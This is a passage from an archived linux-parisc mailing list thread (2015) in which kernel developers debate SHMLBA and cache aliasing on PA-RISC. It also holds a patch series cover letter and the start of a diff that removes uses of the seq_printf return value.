addresses producing two separately dirty cache lines which can never
resolve).  This means that the virtual addresses of all shared mappings
have to be equal modulo SHMLBA for the caches not to alias.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 22 Feb 2015 00:26:19 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <54E9141B.4050009@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>	 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>	 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>	 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>	 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>	 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>	 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>	 <533DC3E8.5010701@gmx.de>	 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>	 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>	 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl> <1424560158.2146.22.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424561212 30155 80.91.229.3 (21 Feb 2015 23:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2015 23:26:52 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 00:26:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPJRb-0001RA-IX
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 00:26:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751799AbbBUX0m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2015 18:26:42 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:60964 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751730AbbBUX0l (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2015 18:26:41 -0500
Original-Received: from [192.168.20.60] ([84.173.1.4]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MDW9x-1YJYoK1n6D-00GqV3; Sun, 22 Feb 2015 00:26:21
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <1424560158.2146.22.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:Cf8oWDeFRJF+gapgLpBcHNxk7P9zgGo6r5tsESFuxpVRdPnlclZ
 XQOFBYftn/ZMzWfDlwe7o7a336XX64sooRejuqYNZPGTQ0fSGpZqtqCtvPdMWoF8jvQwA4z
 7vGv39C8IF0NPuvDYYx/ApIfAA0d1qtH/VntqsEstuRVWrU0b9DDL9VUyFhlZtK2x32a7dc
 7LzR7SwHugkarcW5zAYng==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25586>

On 22.02.2015 00:09, James Bottomley wrote:
> On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
>> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
>>
>>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
>>>
>>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
>>>>> In current eglibc it's set to 0x00400000
>>>>> That's what my eglibc-patch changes...
>>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
>>>>
>>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
>>>>
>>>> I plan to use a fixed value of 4096, since I never expect hppa
>>>> userspace to have to care (even if the kernel uses superpages).
>>>
>>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
>>> Is there a performance advantage in using 4096?
>>>
>>>>
>>>> Please correct me if I'm wrong.
>>>
>>>
>>> At one time, we thought this value needed to be 4 MB.  Helge was
>> working on improving the mmap
>>> allocation scheme but this work stalled after some improvement.  I
>> can't remember the issues and how
>>> they relate to SHMLBA.
>>
>>
>> Actually, the number was 4 Mb (bit).
>
> No, it was 4MB.  That's the cache equivalency stride on PA processors
> because we have a VIPT cache.  The architectural requirement according
> to the dreaded appendix F is 16MB but we were assured by the PA
> architects that it was 4 because they never planned producing processors
> that would require 16.  The actual meaning is it's the number of bits of
> the virtual address that are significant in the virtual index.
>

Your following statement:

> The point of SHMLBA is that if the same physical page is mapped into two
> different virtual addresses but the two addresses are equal, modulo
> SHMLBA, then the L1 cache sees the equivalency and you can't get
> inequivalent cache aliases for the page (two writes to the two different
> addresses producing two separately dirty cache lines which can never
> resolve).  This means that the virtual addresses of all shared mappings
> have to be equal modulo SHMLBA for the caches not to alias.

With this you define SHMLBA to be the representative number which defines
what the current cache equivalency stride of the kernel is, *and* which then can
be used by userspace. I think this is a misinterpretation of SHMLBA (or at
least a parisc-specific interpretation of SHMLBA), which is not like how it
is used on other architectures with similar limitations.
Userspace should not know the kernel/architecture specifics. Instead they
should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
kernel/glibc will return a corrected mapping address (modulo 4MB).
I think this is important, since most userspace programs usually try to mmap at
a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
This has been the issue with localedef in glibc (a strange coding which tries
to be platform-specific with mmap-calculation). Because of that in the end
it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).

So, your statement above is correct, I would just not use "SHMLBA" in this term,
but maybe "KERNEL_SHMLBA" instead.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Sat, 21 Feb 2015 15:57:26 -0800
Lines: 92
Approved: news@gmane.org
Message-ID: <1424563046.2146.41.camel@HansenPartnership.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
		 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
		 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>
		 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>
		 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
		 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
		 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
		 <533DC3E8.5010701@gmx.de>
		 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
		 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
		 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
	 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424563063 23755 80.91.229.3 (21 Feb 2015 23:57:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2015 23:57:43 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 00:57:33 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPJvP-0006il-6l
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 00:57:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751744AbbBUX52 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2015 18:57:28 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46622 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751730AbbBUX52 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2015 18:57:28 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E20F18EE162;
	Sat, 21 Feb 2015 15:57:27 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id lTbdd0Mkl366; Sat, 21 Feb 2015 15:57:27 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6A1828EE0BA;
	Sat, 21 Feb 2015 15:57:27 -0800 (PST)
In-Reply-To: <54E9141B.4050009@gmx.de>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25587>

On Sun, 2015-02-22 at 00:26 +0100, Helge Deller wrote:
> On 22.02.2015 00:09, James Bottomley wrote:
> > On Sat, 2015-02-21 at 15:40 -0500, John David Anglin wrote:
> >> On 2015-02-21, at 3:31 PM, John David Anglin wrote:
> >>
> >>> On 2015-02-20, at 4:36 PM, Carlos O'Donell wrote:
> >>>
> >>>> On Thu, Apr 3, 2014 at 4:26 PM, Helge Deller <deller@gmx.de> wrote:
> >>>>> In current eglibc it's set to 0x00400000
> >>>>> That's what my eglibc-patch changes...
> >>>>> I'm currently building a eglibc on hpviz with SHMLBA set to 4096 (__getpagesize()).
> >>>>
> >>>> Anyone object to me fixing this upstream by making SHMLBA match the kernel?
> >>>>
> >>>> I plan to use a fixed value of 4096, since I never expect hppa
> >>>> userspace to have to care (even if the kernel uses superpages).
> >>>
> >>> We currently use (__getpagesize ()) in Debian and this seems to be a common definition.
> >>> Is there a performance advantage in using 4096?
> >>>
> >>>>
> >>>> Please correct me if I'm wrong.
> >>>
> >>>
> >>> At one time, we thought this value needed to be 4 MB.  Helge was
> >> working on improving the mmap
> >>> allocation scheme but this work stalled after some improvement.  I
> >> can't remember the issues and how
> >>> they relate to SHMLBA.
> >>
> >>
> >> Actually, the number was 4 Mb (bit).
> >
> > No, it was 4MB.  That's the cache equivalency stride on PA processors
> > because we have a VIPT cache.  The architectural requirement according
> > to the dreaded appendix F is 16MB but we were assured by the PA
> > architects that it was 4 because they never planned producing processors
> > that would require 16.  The actual meaning is it's the number of bits of
> > the virtual address that are significant in the virtual index.
> >
> 
> Your following statement:
> 
> > The point of SHMLBA is that if the same physical page is mapped into two
> > different virtual addresses but the two addresses are equal, modulo
> > SHMLBA, then the L1 cache sees the equivalency and you can't get
> > inequivalent cache aliases for the page (two writes to the two different
> > addresses producing two separately dirty cache lines which can never
> > resolve).  This means that the virtual addresses of all shared mappings
> > have to be equal modulo SHMLBA for the caches not to alias.
> 
> With this you define SHMLBA to be the representative number which defines
> what the current cache equivalency stride of the kernel is, *and* which then can
> be used by userspace. I think this is a misinterpretation of SHMLBA (or at
> least a parisc-specific interpretation of SHMLBA), which is not like how it
> is used on other architectures with similar limitations.
> Userspace should not know the kernel/architecture specifics. Instead they
> should try to mmap() memory somewhere (e.g. 4KB aligned) and if they need shared mappings then
> kernel/glibc will return a corrected mapping address (modulo 4MB).
> I think this is important, since most userspace programs usually try to mmap at
> a multiple of SHMLBA with which we then run very soon out of userspace (with SHMLBA=4MB).
> This has been the issue with localedef in glibc (a strange coding which tries
> to be platform-specific with mmap-calculation). Because of that in the end
> it turned out to be best for parisc to have SHMLBA defined to 4kb (and not 4MB).
> 
> So, your statement above is correct, I would just not use "SHMLBA" in this term,
> but maybe "KERNEL_SHMLBA" instead.

Um, no, SHMLBA comes from the SYS-V IPC primitives.  They were stupid
enough to allow the user pick the address of the region of shared
memory, so the user had to know these architectural details and SHMLBA
encodes them (man shmat will give you the gory details).

For mmap, we can mostly do the right thing in the kernel, except for
MAP_FIXED, where the user has to know what they're doing again.

For the cases the user thinks they know best, we can't avoid giving out
the knowledge somehow, because inequivalent aliases in writeable
mappings will HPMC a system.  We could be more relaxed about
inequivalent aliases in read only mappings (say shared libraries), but
the consequence of that is an explosion in the use of cache space, so we
would want some libraries (like glibc) with many shared copies to obey
SHMLBA.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel.openipmi,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.tegra,gmane.linux.watchdog,gmane.linux.kernel.cgroups,gmane.comp.linux.drbd,gmane.linux.ports.openrisc,gmane.linux.usb.general
Subject: [PATCH 00/27] Convert seq_<foo> output calls to return void
Date: Sat, 21 Feb 2015 18:53:27 -0800
Lines: 112
Approved: news@gmane.org
Message-ID: <cover.1424573328.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1424573687 5555 80.91.229.3 (22 Feb 2015 02:54:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 02:54:47 +0000 (UTC)
Cc: linux-cris-kernel@axis.com, nios2-dev@lists.rocketboards.org,
	linux@lists.openrisc.net, devel@driverdev.osuosl.org,
	HPDD-discuss@lists.01.org, linux-usb@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	linux-arm-kernel@lists.infradead.org, linux-s390@vger.kernel.org,
	linux-pm@vger.kernel.org, openipmi-developer@lists.sourceforge.net,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	rtc-linux@googlegroups.com, linux-tegra@vger.kernel.org,
	linux-watchdog@vger.kernel.org, cgroups@vger.kernel.org,
	drbd-user@lists.linbit.com
Original-X-From: linux-pm-owner@vger.kernel.org Sun Feb 22 03:54:35 2015
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1YPMgk-0001Rh-7C
	for gll-linux-pm2@plane.gmane.org; Sun, 22 Feb 2015 03:54:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751775AbbBVCyd (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
	Sat, 21 Feb 2015 21:54:33 -0500
Original-Received: from smtprelay0023.hostedemail.com ([216.40.44.23]:47386 "EHLO
	smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751656AbbBVCyc (ORCPT
	<rfc822;linux-pm@vger.kernel.org>); Sat, 21 Feb 2015 21:54:32 -0500
Original-Received: from filter.hostedemail.com (unknown [216.40.38.60])
	by smtprelay08.hostedemail.com (Postfix) with ESMTP id 24AE829DD79;
	Sun, 22 Feb 2015 02:54:30 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,joe@perches.com,:::::::::::::::::::::::::::::::::::,RULES_HIT:2:41:355:379:541:968:973:988:989:1260:1345:1437:1535:1605:1730:1747:1777:1792:1801:2393:2559:2562:3138:3139:3140:3141:3142:3865:3866:3867:3868:3870:3871:3872:3873:3874:4049:4118:4384:4605:5007:6119:6261:6691:6737:7875:7903:7974:8660:9038:10004:10128:10848:11026:11658:11914:12043:12048:12296:12517:12519:12555:12679:13148:13161:13221:13229:13230:13869:14096:14394:21080,0,RBL:none,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:fn,MSBL:0,DNSBL:none,Custom_rules:0:0:0
X-HE-Tag: waste58_611e5da9d5e1c
X-Filterd-Recvd-Size: 7158
Original-Received: from joe-laptop.perches.com (pool-71-103-235-196.lsanca.fios.verizon.net [71.103.235.196])
	(Authenticated sender: joe@perches.com)
	by omf06.hostedemail.com (Postfix) with ESMTPA;
	Sun, 22 Feb 2015 02:54:27 +0000 (UTC)
X-Mailer: git-send-email 2.1.2
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:56854 gmane.linux.ports.arm.kernel:394428 gmane.linux.kernel.openipmi:2645 gmane.linux.ports.parisc:25588 gmane.linux.kernel:1892327 gmane.linux.ports.tegra:21211 gmane.linux.watchdog:416 gmane.linux.kernel.cgroups:12684 gmane.comp.linux.drbd:27298 gmane.linux.ports.openrisc:630 gmane.linux.usb.general:122615
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/56854>

As Al Viro said:

we are getting well-meaning folks who try to check that return value,
again and again, getting it wrong every time.   Typical idiocies:
        * return some kind of error out of ->show() on overflows.  Pointless
*and* wrong - only hard errors (== fail read(2) with that) should be
reported that way; the caller does detect overflow and retires with bigger
buffer just fine.
        * keep checking it after every sodding call of seq_...(), screwing
the cleanups up more often than not.  Pointless, unless you are doing some
seriously expensive calculations to produce something you are going to print.
seq_...() are no-ops in case when overflow has already happened.

seq_has_overflowed() is only for situations when you really want to skip
a serious amount of work generating the data that would end up being
discarded and recalculated again when the caller grabs a bigger buffer and
calls you again.  And more often than not it's an indication of ->show()
trying to do the work of iterator - e.g. when you have single_open() with
->show() printing the entire hash table of some sort all in one record.

Most of the time checking return value of seq_...() is better replaced with
not doing that.  And "must check return value and Do Something(tm)" is too
strong habit for enough people to cause recurring trouble.

Joe Perches (27):
  staging: lustre: Convert "return seq_printf(...)" uses
  staging: lustre: Convert seq_ hash functions to return void
  staging: lustre: Convert uses of "int rc = seq_printf(...)"
  staging: lustre: Convert remaining uses of "= seq_printf(...)"
  x86: mtrr: if: Remove use of seq_printf return value
  power: wakeup: Remove use of seq_printf return value
  ipmi: Remove use of seq_printf return value
  rtc: Remove use of seq_printf return value
  ipc: Remove use of seq_printf return value
  pxa27x_udc: Remove use of seq_printf return value
  microblaze: mb: Remove use of seq_printf return value
  nios2: cpuinfo: Remove use of seq_printf return value
  ARM: plat-pxa: Remove use of seq_printf return value
  openrisc: Remove use of seq_printf return value
  cris: Remove use of seq_printf return value
  mfd: ab8500-debugfs: Remove use of seq_printf return value
  staging: i2o: Remove use of seq_printf return value
  staging: rtl8192x: Remove use of seq_printf return value
  s390: Remove use of seq_printf return value
  i8k: Remove use of seq_printf return value
  watchdog: bcm281xx: Remove use of seq_printf return value
  proc: Remove use of seq_printf return value
  cgroup: Remove use of seq_printf return value
  tracing: Remove use of seq_printf return value
  lru_cache: Remove use of seq_printf return value
  parisc: Remove use of seq_printf return value
  regulator: dbx500: Remove use of seq_puts/seq_printf return value

 arch/arm/plat-pxa/dma.c                            | 111 ++++++------
 arch/cris/arch-v10/kernel/setup.c                  |  58 +++---
 arch/cris/arch-v32/kernel/setup.c                  |  62 +++----
 arch/microblaze/kernel/cpu/mb.c                    | 149 ++++++++--------
 arch/nios2/kernel/cpuinfo.c                        |  77 ++++----
 arch/openrisc/kernel/setup.c                       |  50 +++---
 arch/s390/pci/pci_debug.c                          |   6 +-
 arch/x86/kernel/cpu/mtrr/if.c                      |  12 +-
 drivers/base/power/wakeup.c                        |  16 +-
 drivers/char/i8k.c                                 |  16 +-
 drivers/char/ipmi/ipmi_msghandler.c                |  12 +-
 drivers/char/ipmi/ipmi_si_intf.c                   |  26 +--
 drivers/char/ipmi/ipmi_ssif.c                      |   4 +-
 drivers/mfd/ab8500-debugfs.c                       | 196 +++++++++++++--------
 drivers/parisc/ccio-dma.c                          |  54 +++---
 drivers/parisc/sba_iommu.c                         |  86 +++++----
 drivers/regulator/dbx500-prcmu.c                   |  32 +---
 drivers/rtc/rtc-cmos.c                             |  36 ++--
 drivers/rtc/rtc-ds1305.c                           |   6 +-
 drivers/rtc/rtc-mrst.c                             |  16 +-
 drivers/rtc/rtc-tegra.c                            |   4 +-
 drivers/s390/cio/blacklist.c                       |  12 +-
 drivers/staging/i2o/i2o_proc.c                     |  18 +-
 .../lustre/include/linux/libcfs/libcfs_hash.h      |   4 +-
 drivers/staging/lustre/lustre/fid/lproc_fid.c      |  23 ++-
 drivers/staging/lustre/lustre/libcfs/hash.c        |  13 +-
 drivers/staging/lustre/lustre/llite/lproc_llite.c  | 117 ++++++------
 drivers/staging/lustre/lustre/lmv/lproc_lmv.c      |  18 +-
 drivers/staging/lustre/lustre/lov/lproc_lov.c      |  30 ++--
 drivers/staging/lustre/lustre/mdc/lproc_mdc.c      |   6 +-
 .../lustre/lustre/obdclass/linux/linux-module.c    |  38 ++--
 .../lustre/lustre/obdclass/lprocfs_status.c        | 108 ++++++------
 drivers/staging/lustre/lustre/obdclass/lu_object.c |  25 +--
 drivers/staging/lustre/lustre/osc/lproc_osc.c      |  67 +++----
 .../staging/lustre/lustre/ptlrpc/lproc_ptlrpc.c    |  25 +--
 drivers/staging/lustre/lustre/ptlrpc/sec_bulk.c    |  82 +++++----
 drivers/staging/rtl8192e/rtllib_module.c           |   4 +-
 .../staging/rtl8192u/ieee80211/ieee80211_module.c  |   4 +-
 drivers/usb/gadget/udc/pxa27x_udc.c                | 132 +++++++-------
 drivers/watchdog/bcm_kona_wdt.c                    |  27 +--
 fs/proc/array.c                                    |   4 +-
 fs/proc/base.c                                     |  82 +++++----
 ipc/msg.c                                          |  34 ++--
 ipc/sem.c                                          |  26 +--
 ipc/shm.c                                          |  42 ++---
 ipc/util.c                                         |   6 +-
 kernel/cgroup.c                                    |   4 +-
 kernel/trace/trace_stack.c                         |   4 +-
 lib/lru_cache.c                                    |   9 +-
 49 files changed, 1050 insertions(+), 943 deletions(-)

-- 
2.1.2

--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 26/27] parisc: Remove use of seq_printf return value
Date: Sat, 21 Feb 2015 18:53:53 -0800
Lines: 249
Approved: news@gmane.org
Message-ID: <6d1a41cdfcec61f6a74e5cbc067be5ee94b2ac9f.1424573328.git.joe@perches.com>
References: <cover.1424573328.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1424573790 7178 80.91.229.3 (22 Feb 2015 02:56:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 02:56:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Feb 22 03:56:17 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YPMiO-0003FC-9k
	for glk-linux-kernel-3@plane.gmane.org; Sun, 22 Feb 2015 03:56:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752956AbbBVCzt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 21 Feb 2015 21:55:49 -0500
Original-Received: from smtprelay0159.hostedemail.com ([216.40.44.159]:47431 "EHLO
	smtprelay.hostedemail.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1752892AbbBVCzo (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 21 Feb 2015 21:55:44 -0500
Original-Received: from filter.hostedemail.com (unknown [216.40.38.60])
	by smtprelay08.hostedemail.com (Postfix) with ESMTP id E4F5929DD78;
	Sun, 22 Feb 2015 02:55:42 +0000 (UTC)
X-Session-Marker: 6A6F6540706572636865732E636F6D
X-Spam-Summary: 2,0,0,,d41d8cd98f00b204,joe@perches.com,:::::::::,RULES_HIT:1:2:41:69:355:379:541:800:960:966:968:973:988:989:1260:1345:1359:1437:1605:1730:1747:1777:1792:2196:2199:2393:2559:2562:2693:3138:3139:3140:3141:3142:3308:3865:3867:3868:3872:4052:4321:4385:4605:5007:6119:6261:7875:7904:8603:9040:9592:10004:10848:11026:11232:11233:11473:11658:11914:12043:12291:12296:12438:12517:12519:12555:12679:12683:13161:13229:14110:14394:21080,0,RBL:none,CacheIP:none,Bayesian:0.5,0.5,0.5,Netcheck:none,DomainCache:0,MSF:not bulk,SPF:fn,MSBL:0,DNSBL:none,Custom_rules:0:0:0
X-HE-Tag: twig20_6bed015ea2426
X-Filterd-Recvd-Size: 10736
Original-Received: from joe-laptop.perches.com (pool-71-103-235-196.lsanca.fios.verizon.net [71.103.235.196])
	(Authenticated sender: joe@perches.com)
	by omf06.hostedemail.com (Postfix) with ESMTPA;
	Sun, 22 Feb 2015 02:55:41 +0000 (UTC)
X-Mailer: git-send-email 2.1.2
In-Reply-To: <cover.1424573328.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1892343 gmane.linux.ports.parisc:25589
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1892343>

The seq_printf return value, because it's frequently misused,
will eventually be converted to void.

See: commit 1f33c41c03da ("seq_file: Rename seq_overflow() to
     seq_has_overflowed() and make public")

Signed-off-by: Joe Perches <joe@perches.com>
---
 drivers/parisc/ccio-dma.c  | 54 ++++++++++++++---------------
 drivers/parisc/sba_iommu.c | 86 ++++++++++++++++++++++------------------------
 2 files changed, 68 insertions(+), 72 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 8b490d7..6bc1680 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1021,7 +1021,6 @@ static struct hppa_dma_ops ccio_ops = {
 #ifdef CONFIG_PROC_FS
 static int ccio_proc_info(struct seq_file *m, void *p)
 {
-	int len = 0;
 	struct ioc *ioc = ioc_list;
 
 	while (ioc != NULL) {
@@ -1031,22 +1030,22 @@ static int ccio_proc_info(struct seq_file *m, void *p)
 		int j;
 #endif
 
-		len += seq_printf(m, "%s\n", ioc->name);
+		seq_printf(m, "%s\n", ioc->name);
 		
